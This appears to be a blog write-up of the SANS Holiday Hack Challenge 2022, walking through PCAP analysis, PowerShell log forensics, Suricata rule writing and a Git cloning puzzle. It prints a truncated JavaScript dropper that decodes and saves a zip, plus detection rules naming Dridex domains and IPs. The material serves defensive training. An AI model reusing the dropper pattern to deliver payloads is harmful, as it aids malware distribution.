All Your Base Are Belong To Me

SANS Christmas Challenge 2022

2023-01-06T00:00:00+01:00

Five Rings to rule them all, Five Rings to find them,

Five Rings to bring them all and in the darkness pwn them.

In the Land of Kringle where the Red-teamers lie.

(see, I can mix it up)

Here's my write-up for the 2022 SANS Christmas Challenge.

Table of contents

Introduction

New year, new KringleCon! However, Santa has lost his Five Golden Rings and can't perform his magic. He has given us the task of retrieving them in the caves that lay below his frozen castle. Let's go!

KringleCon Orientation

Jingle Ringford says

Welcome to the North Pole, KringleCon, and the 2022 SANS Holiday Hack Challenge! I’m Jingle Ringford, one of Santa’s elves.

Santa asked me to come here and give you a short orientation to this festive event.

Before you move forward through the gate, I’ll ask you to accomplish a few simple tasks.

First things first, here's your badge! It's the five golden rings in the middle of your avatar.

We now have a badge on our avatar.

Jingle Ringford says

Great - now you're official!

Click on the badge on your avatar. That’s where you will see your Objectives, Hints, and gathered Items for the Holiday Hack Challenge.

We’ve also got handy links to the KringleCon talks and more there for you!

Next, click on that machine to the left and create a crypto wallet for yourself. Don't lose that key!

We click on the KringleCoin Teller Machine to create our account:

We click on the green button:

Now you didn't think I would publish my secret key and let y'all steal my precious KringleCoins, right?

Jingle Ringford says

Fantastic!

OK, one last thing. Click on the Cranberry Pi Terminal and follow the on-screen instructions.

The Cranberry Pi Terminal is divided in two panes: an upper pane that reads

Enter the answer here

>

and a lower pane that reads:

Welcome to the first terminal challenge!

This one is intentionaly simple. All we need to do is:

- Click in the upper pane of this terminal
- Type answer and press Enter

We do so, and bingo:

Jingle Ringford says

Great! Your orientation is now complete! You can enter through the gate now. Have FUN!!!

We can now enter the North Pole, where we find Santa:

Santa says

Welcome to the North Pole, intrepid traveler!

Wow, we had quite a storm last night!

My castle door is sealed shut behind a giant snowbank.

The Elves have decided to burrow under the snow to get everything ready for our holiday deliveries.

But there's another wrinkle: my Five Golden Rings have gone missing.

Without the magic of the Rings, we simply can't launch the holiday season.

My reindeer won't fly; I won't be able to zip up and down chimneys.

What's worse, without the magic Rings, I can't fit the millions of cookies in my belly!

I challenge you to go on a quest to find and retrieve each of the five Rings.

I'll put some initial goals in your badge for you.

The holidays, and the whole world, are counting on you.

Recover the Tolkien Ring

We go down under the snow, to recover the first ring, the Tolkien Ring, where we come upon Grinchum:

Grinchum says

Preciousesss....

Don't worry, you are hidden. You are safe.

Wireshark Practice

Moving on, we enter what looks like the kitchen, where we find Sparkle Redberry.

Sparkle Redberry says

Hey there! I’m Sparkle Redberry. We have a bit of an incident here.

We were baking lembanh in preparation for the holidays.

It started to smell a little funky, and then suddenly, a Snowrog crashed through the wall!

We're trying to investigate what caused this, so we can make it go away.

Have you used Wireshark to look at packet capture (PCAP) files before?

I've got a PCAP you might find interesting.

Once you've had a chance to look at it, please open this terminal and answer the questions in the top pane.

Thanks for helping us get to the bottom of this!

Let's download the given PCAP and open up the terminal:

There are objects in the PCAP file that can be exported by Wireshark and/or
Tshark. What type of objects can be exported from this PCAP?

Let's open the PCAP file in Wireshark:

It looks like this is mainly HTTP traffic. If we go to the File > Export Objects menu in Wireshark, we can see several object types, but only the HTTP entry gives us a file that can be extracted:

So, the answer is HTTP.

What is the file name of the largest file we can export?

We can easily see from the previous screenshot that, with a size of 808 kB, the app.php file is the largest.

What packet number starts that app.php file?

There are two entries for the app.php file, however, the largest one starts at packet number 687.

What is the IP of the Apache server?

Let's go to packet number 687:

We can see that the HTTP server is responding with an HTTP code 200. Therefore, the source IP address corresponds to the Apache server: 192.185.57.242.

What file is saved to the infected host?

Let's use the File > Export Objects > HTTP menu to export the large app.php file. If we take a look inside, we can see that a large blob is base64-decoded, before being saved to file:

(function() {
    let byteCharacters = atob('UEsDBBQAAAAIAFCjN1FIq7H4ezsJAI[...]JAAAA');

    let byteNumbers = new Array(byteCharacters.length);
    for (let i = 0; i < byteCharacters.length; i++) {
        byteNumbers[i] = byteCharacters.charCodeAt(i);
    }
    let byteArray = new Uint8Array(byteNumbers);

    // now that we have the byte array, construct the blob from it
    let blob1 = new Blob([byteArray], {type: 'application/octet-stream'});

    saveAs(blob1, 'Ref_Sept24-2020.zip');

})();

The file is named Ref_Sept24-2020.zip.

Attackers used bad TLS certificates in this traffic. Which countries were
they registered to? Submit the names of the countries in alphabetical
order separated by commas (Ex: Norway, South Korea).

Let's use some tshark to easily extract the value of the field we are interested in. The interesting field name to extract the country a certificate was registered to is x509sat.CountryName. With a little clean-up, we get the following country names:

$ tshark -r suspicious.pcap -T fields -e x509sat.CountryName | tr ',' '\n' | sort -u

IE
IL
SS
US

By using the full names of the countries, we get Ireland, Israel, South Sudan, United States of America.

Is the host infected (Yes/No)?

Well if some weird behavior has been observed, it's most likely that the host has been infected: Yes.

After answering all questions properly, we talk to Sparkle Redberry again:

Sparkle Redberry says

You got it - wonderful!

So hey, when you're looking at the next terminal, remember you have multiple filetypes and tools you can utilize.

Conveniently for us, we can use programs already installed on every Windows computer.

So if you brought your own Windows machine, you can save the files to it and use whatever method is your favorite.

Oh yeah! If you wanna learn more, or get stuck, I hear Eric Pursley's talk is about this very topic.

Windows Event Logs

We move on to find Dusty Giftwrap:

Dusty Giftwrap says

Hi! I'm Dusty Giftwrap!

We think the Snowrog was attracted to the pungent smell from the baking lembanh.

I'm trying to discover which ingredient could be causing such a stench.

I think the answer may be in these suspicious logs.

I'm focusing on Windows Powershell logs. Do you have much experience there?

You can work on this offline or try it in this terminal.

Golly, I'd appreciate it if you could take a look.

Let's lend a hand:

Grinchum successfully downloaded his keylogger and has gathered the admin
credentials!

We think he used PowerShell to find the Lembanh recipe and steal our secret
ingredient.

Luckily, we enabled PowerShell auditing and have exported the Windows
PowerShell logs to a flat text file.

Please help me analyze this file and answer my questions.

Ready to begin?

Ready!

1. What month/day/year did the attack take place? For example, 09/05/2021.

Let's use evtx to easily parse the EVTX file, by converting it to JSON:

$ ~/bin/evtx/evtx -o json -f powershell.json powershell.evtx

Now, let's search for Lembanh in the file. We see some weird stuff around here:

{
  "Event": {
    "#attributes": {
      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
    },
    "EventData": {
      "ContextInfo": "        Severity = Informational\r\n        Host Name = ConsoleHost\r\n        Host Version = 5.1.19041.1682\r\n        Host ID = 21ec2576-2920-4c0f-8047-0b85ad219ffa\r\n        Host Application = C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\n        Engine Version = 5.1.19041.1682\r\n        Runspace ID = 4181eda9-20e6-4eb9-8869-fe5fa6d5e663\r\n        Pipeline ID = 257\r\n        Command Name = \r\n        Command Type = Script\r\n        Script Name = \r\n        Command Path = \r\n        Sequence Number = 1703\r\n        User = DESKTOP-R65OKRB\\Chris Massey\r\n        Connected User = \r\n        Shell ID = Microsoft.PowerShell\r\n",
      "Payload": "CommandInvocation(Out-Default): \"Out-Default\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Recipe from Mixolydian, the Queen of Dorian\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Lembanh Original Recipe\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\" \"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"2 1/2 all purpose flour\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1 Tbsp baking powder\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1/4 tsp salt\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1/2 c  butter\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1/3 c brown sugar\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1 tsp cinnamon\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1/2 tsp honey (secret ingredient)\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"2/3 c heavy whipping cream\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1/2 tsp vanilla extract\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Preheat oven to 425F. Mix the flour, baking powder and salt into a large bowl. Add the butter and mix with a well till fine granules (easiest way is with an electric mixer). Then add the sugar and cinnamon, and mix them thoroughly.\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Finally add the cream, honey, and vanilla and stir them in with a fork until a nice, thick dough forms.\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Roll the dough out about 1/2 in thickness. Cut out 3-inch squares and transfer the dough to a cookie sheet.Criss-cross each square from corner-to-corner with a knife, lightly (not cutting through the dough).\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Bake for about 12 minutes or more (depending on the thickness of the bread) until it is set and lightly golden.\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Let cool completely before eating, this bread tastes better room temperature and dry. Also for more flavor you can add more cinnamon or other spices\"\r\n",
      "UserData": ""
    },
    "System": {
      "Channel": "Microsoft-Windows-PowerShell/Operational",
      "Computer": "DESKTOP-R65OKRB",
      "Correlation": {
        "#attributes": {
          "ActivityID": "54BDC5C1-F7AB-0001-FA72-BF54ABF7D801"
        }
      },
      "EventID": 4103,
      "EventRecordID": 7905,
      "Execution": {
        "#attributes": {
          "ProcessID": 1216,
          "ThreadID": 4080
        }
      },
      "Keywords": "0x0",
      "Level": 4,
      "Opcode": 20,
      "Provider": {
        "#attributes": {
          "Guid": "A0C1853B-5C40-4B15-8766-3CF1C58F985A",
          "Name": "Microsoft-Windows-PowerShell"
        }
      },
      "Security": {
        "#attributes": {
          "UserID": "S-1-5-21-3359507890-24144431-3438718502-1002"
        }
      },
      "Task": 106,
      "TimeCreated": {
        "#attributes": {
          "SystemTime": "2022-12-24T11:01:03.659392Z"
        }
      },
      "Version": 1
    }
  }
}

The attack took place on 12/24/2022.

2. An attacker got a secret from a file. What was the original file's name?

Let's look at the ScriptBlockText attribute of the events. It contains the PowerShell scripts that were executed. Let's also look for a keyword such as recipe:

$ grep -iE 'ScriptBlockText.*recipe' powershell.json
      "ScriptBlockText": "echo \"Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!\" >> mydiary.txt"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n"
      "ScriptBlockText": "cat .\\recipe_updated.txt\n"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "cat .\\recipe_updated.txt"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "cat .\\recipe_updated.txt"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "del .\\Recipe.txt"
      "ScriptBlockText": "del .\\recipe_updated.txt"

Apparently, the file is called Recipe.

3. The contents of the previous file were retrieved, changed, and stored to
a variable by the attacker. This was done multiple times. Submit the last
full PowerShell line that performed only these actions.

So, the command must retrieve the content, modify it, and store it in a variable. We can actually see that from our last command:

$ grep -iE 'ScriptBlockText.*recipe' powershell.json
      "ScriptBlockText": "echo \"Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!\" >> mydiary.txt"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n"
      "ScriptBlockText": "cat .\\recipe_updated.txt\n"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "cat .\\recipe_updated.txt"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "cat .\\recipe_updated.txt"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "del .\\Recipe.txt"
      "ScriptBlockText": "del .\\recipe_updated.txt"

The last PowerShell line is:

$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}

4. After storing the altered file contents into the variable, the attacker
used the variable to run a separate command that wrote the modified data
to a file. This was done multiple times. Submit the last full PowerShell
line that performed only this action.

So this time the command only stores our variable to a file. This can still be seen in our previous command:

$ grep -iE 'ScriptBlockText.*recipe' powershell.json
      "ScriptBlockText": "echo \"Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!\" >> mydiary.txt"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n"
      "ScriptBlockText": "cat .\\recipe_updated.txt\n"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "cat .\\recipe_updated.txt"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "cat .\\recipe_updated.txt"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "del .\\Recipe.txt"
      "ScriptBlockText": "del .\\recipe_updated.txt"

The command is:

$foo | Add-Content -Path 'Recipe'

5. The attacker ran the previous command against one file multiple times. What
is the name of this file?

Let's search for Add-Content:

$ grep -iE 'ScriptBlockText.*Add-Content' powershell.json
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'"

The file is Recipe.txt.

6. Were any files deleted (Yes/No)?

Let's go to our trusty first command. We can see that two files were deleted:

$ grep -iE 'ScriptBlockText.*recipe' powershell.json
      "ScriptBlockText": "echo \"Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!\" >> mydiary.txt"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n"
      "ScriptBlockText": "cat .\\recipe_updated.txt\n"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "cat .\\recipe_updated.txt"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "cat .\\recipe_updated.txt"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "del .\\Recipe.txt"
      "ScriptBlockText": "del .\\recipe_updated.txt"

Therefore, the answer is Yes.

7. Was the original file (from question 2) deleted (Yes/No)?

The file from question 2 was called Recipe (no .txt). It does not appear to have been deleted, so the answer is No.

8. What is the Event ID of the logs that show the actual command lines the
attacker typed and ran?

Let's see the ID associated with events with a ScriptBlockText attribute:

$ grep -E 'ScriptBlockText|EventID' powershell.json | grep -A 1 ScriptBlockText | grep EventID | sort -u
      "EventID": 4104,

First, we extract the attributes ScriptBlockText and EventID. Then we grep for ScriptBlockText and the line after. This should give us the associated EventID. We'll then grep for only the EventID, and get the unique result: 4104.

9. Is the secret ingredient compromised (Yes/No)?
10. What is the secret ingredient?

We can easily answer the two last questions by taking a look at the results from our trusty one-liner:

$ grep -iE 'ScriptBlockText.*recipe' powershell.json
      "ScriptBlockText": "echo \"Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!\" >> mydiary.txt"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n"
      "ScriptBlockText": "cat .\\recipe_updated.txt\n"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "cat .\\recipe_updated.txt"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'"
      "ScriptBlockText": "cat .\\recipe_updated.txt"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'"
      "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'"
      "ScriptBlockText": "cat .\\Recipe"
      "ScriptBlockText": "del .\\Recipe.txt"
      "ScriptBlockText": "del .\\recipe_updated.txt"

We see that the word honey was replaced with fish oil. Therefore, the most likely scenario is that honey is the secret ingredient, but Grinchum replaced it with fish oil in the recipe.

The fish oil must be what attracted the Snowrog.

Dusty Giftwrap says

Say, you did it! Thanks a million!

Now we can mix in the proper ingredients and stop attracting the Snowrog!

I'm all set now! Can you help Fitzy over there wield the exalted Suricata?

It can be a bit mystifying at first, but this Suricata Tome should help you fathom it.

I sure hope you can make it work!

Suricata Regatta

Fitzy Shortstack says

Hm?.. Hello...

Sorry, I don't mean to be uncharaceristically short with you.

There's just this abominable Snowrog here, and I'm trying to comprehend Suricata to stop it from getting into the kitchen.

I believe that if I can phrase these Suricata incantations correctly, they'll create a spell that will generate warnings.

And hopefully those warnings will scare off the Snowrog!

Only... I'm quite baffled. Maybe you can give it a go?

And indeed, we see the Snowrog barring the way:

The Snowrog says

Fierce gusts of wind wreath about it and snow swirls in its aura

Its frozen mane shimmers, and chilled air fogs behind it

Its left hand made of fingers of tongue-affixing icicles

Its right a fist like that of a densely packed snowball

The Snowrog focuses on you with an icy-cold glare

And bellows a roar more thunderous than an avalanche

Let's get rid of it!

Use your investigative analysis skills and the suspicious.pcap file to help develop Suricata rules for the elves!

There's a short list of rules started in suricata.rules in your home directory.

First off, the STINC (Santa's Team of Intelligent Naughty Catchers) has a lead for us.
They have some Dridex indicators of compromise to check out.
First, please create a Suricata rule to catch DNS lookups for adv.epostoday.uk.
Whenever there's a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection.
Add your rule to suricata.rules

Once you think you have it right, run ./rule_checker to see how you've done!
As you get rules correct, rule_checker will ask for more to be added.

If you want to start fresh, you can exit the terminal and start again or cp suricata.rules.backup suricata.rules

Good luck, and thanks for helping save the North Pole!

I don't use Suricata in my day-to-day work. To create the rules, you can take inspiration from the previous rules in the suricata.rules file, or look at the documentation. It seems to be important to have a unique sid for each created rule, so keep that in mind.

Let's create the DNS rule:

alert dns any any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; nocase; sid:1337;)

Now we can run the rule checker:

elf@703ea04f1883:~$ ./rule_checker
3/1/2023 -- 14:26:55 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
3/1/2023 -- 14:26:55 - <Notice> - all 5 packet processing threads, 4 management threads initialized, engine started.
3/1/2023 -- 14:26:55 - <Notice> - Signal Received.  Stopping engine.
3/1/2023 -- 14:26:55 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes
First rule looks good!

STINC thanks you for your work with that DNS record! In this PCAP, it points to 192.185.57.242.
Develop a Suricata rule that alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP.
When there's a match, the message (msg) should read Investigate suspicious connections, possible Dridex infection

Our first rule seems correct, and we must now write a second one that creates an alert when HTTP communications occur with 192.185.57.242:

alert http 192.185.57.242 any -> $HOME_NET any (msg:"Investigate suspicious connections, possible Dridex infection";sid:1338;)
alert http $HOME_NET any -> 192.185.57.242 any (msg:"Investigate suspicious connections, possible Dridex infection";sid:1339;)

Let's check our new rules:

elf@703ea04f1883:~$ ./rule_checker
3/1/2023 -- 14:31:06 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
3/1/2023 -- 14:31:06 - <Notice> - all 5 packet processing threads, 4 management threads initialized, engine started.
3/1/2023 -- 14:31:06 - <Notice> - Signal Received.  Stopping engine.
3/1/2023 -- 14:31:07 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes
First rule looks good!

Second rule looks good!

We heard that some naughty actors are using TLS certificates with a specific CN.
Develop a Suricata rule to match and alert on an SSL certificate for heardbellith.Icanwepeh.nagoya.
When your rule matches, the message (msg) should read Investigate bad certificates, possible Dridex infection

Here's the corresponding Suricata rule:

alert tls any any -> any any (msg:"Investigate bad certificates, possible Dridex infection"; tls.cert_subject; content:"heardbellith.Icanwepeh.nagoya"; nocase;sid:1340;)

Let's check it:

elf@703ea04f1883:~$ ./rule_checker
3/1/2023 -- 14:32:38 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
3/1/2023 -- 14:32:38 - <Notice> - all 5 packet processing threads, 4 management threads initialized, engine started.
3/1/2023 -- 14:32:38 - <Notice> - Signal Received.  Stopping engine.
3/1/2023 -- 14:32:38 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes
First rule looks good!

Second rule looks good!

Third rule looks good!

OK, one more to rule them all and in the darkness find them.
Let's watch for one line from the JavaScript: let byteCharacters = atob
Oh, and that string might be GZip compressed - I hope that's OK!
Just in case they try this again, please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection

We're told that the content might be compressed using GZip. Luckily, according to Suricata's documentation, using http.response_body allows to match on GZipped-content:

alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection";http.response_body; content:"let byteCharacters = atob"; sid:1341;)

One last time:

elf@703ea04f1883:~$ ./rule_checker
3/1/2023 -- 14:42:38 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
3/1/2023 -- 14:42:38 - <Notice> - all 5 packet processing threads, 4 management threads initialized, engine started.
3/1/2023 -- 14:42:38 - <Notice> - Signal Received.  Stopping engine.
3/1/2023 -- 14:42:38 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes
First rule looks good!

Second rule looks good!

Third rule looks good!

Fourth rule looks good! You've done it - thank you!

This gives us our first ring, the Tolkien Ring:

Fitzy Shortstack says

Woo hoo - you wielded Suricata magnificently! Thank you!

Now to shout the final warning of power to the Snowrog...

YOU...SHALL NOT...PASS!!!

And with that, the Snowrog disapears! As we leave, we see Grinchum:

Grinchum says

😒 Who took you, Precious? How did they take you? Mustn't happen again.

🙂 Oh, hello, humanses. Maybe we can offer help?

😏 Yes... Grinchum will help the humanses.

We are trying to distract them from finding the rest of you, Preciouses, with talk of hints and coinses.

🙂 Have you found the coffers yet? The ones at the end of hidden paths?

😏 There's hintses in them, and coinses, they're veeerrryy special.

🙂 Just look hard, for little, bitty, speckles or other oddities.

Don't worry, they will not look for you, Preciouses. Shhh...

🙂 Go on, humanses. Start searching!

Recover the Elfen Ring

We keep making our way down where we find Morcel Nougat. He teaches us about another kind of people, the Flobbits.

Morcel Nougat says

Hello, I'm Morcel Nougat, elf extraordinaire!

I was in the first group of elves that started digging into the snow.

Eventually, we burrowed deep enough that we came upon an already existing tunnel network.

As we explored it, we encountered a people that claimed to be the Flobbits.

We were all astonished, because we learn a little about the Flobbits in history class, but nobody's ever seen them.

They were part of the Great Schism hundreds of years ago that split the Munchkins and the Elves.

Not much else was known, until we met them in the tunnels! Turns out, their exodus took them to Middle Earth.

They only appear when the 5 Rings are in jeopardy. Though, the Rings weren't lost until after we started digging. Hmm...

Anyways, be careful as you venture down further. I hear something sinister is in the depths of these tunnels.

Clone with a Difference

We keep going, take a boat, and meet Bow Ninecandle:

Bow Ninecandle says

Well hello! I'm Bow Ninecandle!

Have you ever used Git before? It's so neat!

It adds so much convenience to DevOps, like those times when a new person joins the team.

They can just clone the project, and start helping out right away!

Speaking of, maybe you could help me out with cloning this repo?

I've heard there's multiple methods, but I only know how to do one.

If you need more help, check out the panel of very senior DevOps experts.

Let's give him a hand:

We just need you to clone one repo: git clone git@haugfactory.com:asnowball/aws_scripts.git
This should be easy, right?

Thing is: it doesn't seem to be working for me. This is a public repository though. I'm so confused!

Please clone the repo and cat the README.md file.
Then runtoanswer and tell us the last word of the README.md file!

Bow seems to try to clone the Git repository through SSH. If we try the command, we can see that it indeed tries to connect through SSH (since we must accept the SSH server key) and then fails because we don't have enough rights:

bow@c573fb1d9664:~$ git clone git@haugfactory.com:asnowball/aws_scripts.git
Cloning into 'aws_scripts'...
The authenticity of host 'haugfactory.com (34.171.230.38)' can't be established.
ECDSA key fingerprint is SHA256:CqJXHictW5q0bjAZOknUyA2zzRgSEJLmdMo4nPj5Tmw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'haugfactory.com,34.171.230.38' (ECDSA) to the list of known hosts.
git@haugfactory.com: Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

Indeed, it seems that anonymous SSH access is not possible. So let's convert the command to use HTTPS, which allows anonymous access:

bow@c573fb1d9664:~$ git clone https://haugfactory.com/asnowball/aws_scripts
Cloning into 'aws_scripts'...
warning: redirecting to https://haugfactory.com/asnowball/aws_scripts.git/
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Unpacking objects: 100% (64/64), 23.83 KiB | 1.32 MiB/s, done.

Great, it works! Now let's look at the last word in the README.md file and answer:

bow@c573fb1d9664:~$ tail -n 1 aws_scripts/README.md
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
bow@c573fb1d9664:~$ runtoanswer
                                        Read that repo!
What's the last word in the README.md file for the aws_scripts repo?

> maintainers
Your answer: maintainers

Checking......
Your answer is correct!

Bow Ninecandle says

Wow - great work! Thank you!

Say, if you happen to be testing containers for security, there are some things you should think about.

Developers love to give ALL TeH PERMz so that things "just work," but it can cause real problems.

It's always smart to check for excessive user and container permissions.

